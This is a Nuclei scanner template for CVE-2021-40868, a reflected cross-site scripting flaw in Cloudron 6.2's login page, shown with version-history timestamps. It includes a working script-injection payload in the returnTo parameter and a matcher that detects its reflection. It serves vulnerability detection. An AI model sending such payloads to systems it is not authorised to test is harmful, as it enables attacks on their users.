nuclei-templates/http/cves/2021/CVE-2021-40868.yaml

51 lines
1.8 KiB
YAML
Raw Normal View History

2021-09-28 00:42:28 +00:00
id: CVE-2021-40868
info:
name: Cloudron 6.2 Cross-Site Scripting
2021-09-28 00:42:28 +00:00
author: daffainfo
severity: medium
description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
2023-09-06 12:09:01 +00:00
remediation: Upgrade to Cloudron 6.3 or higher.
2021-09-28 00:42:28 +00:00
reference:
- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
2021-09-28 10:05:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
- https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
- https://www.cloudron.io/
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-40868
cwe-id: CWE-79
epss-score: 0.00379
epss-percentile: 0.72411
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: cloudron
product: cloudron
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,xss,cloudron,packetstorm
2021-09-28 00:42:28 +00:00
http:
2021-09-28 00:42:28 +00:00
- method: GET
path:
2021-09-28 10:05:46 +00:00
- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-09-28 00:42:28 +00:00
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-09-28 00:42:28 +00:00
words:
2021-09-28 10:05:46 +00:00
- '</script><script>alert(document.domain)</script>'
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a0047304502201c3cd3fcfe337c0c3bf3f141e268c4cb3e002423d6e3548ff23bcbd491c3985f022100ea3bc691a51662cc8e63a76bfd75b8dd912d1a978fee1f84bb0fc26d13aff053:922c64590222798bb761d5b6d8e72950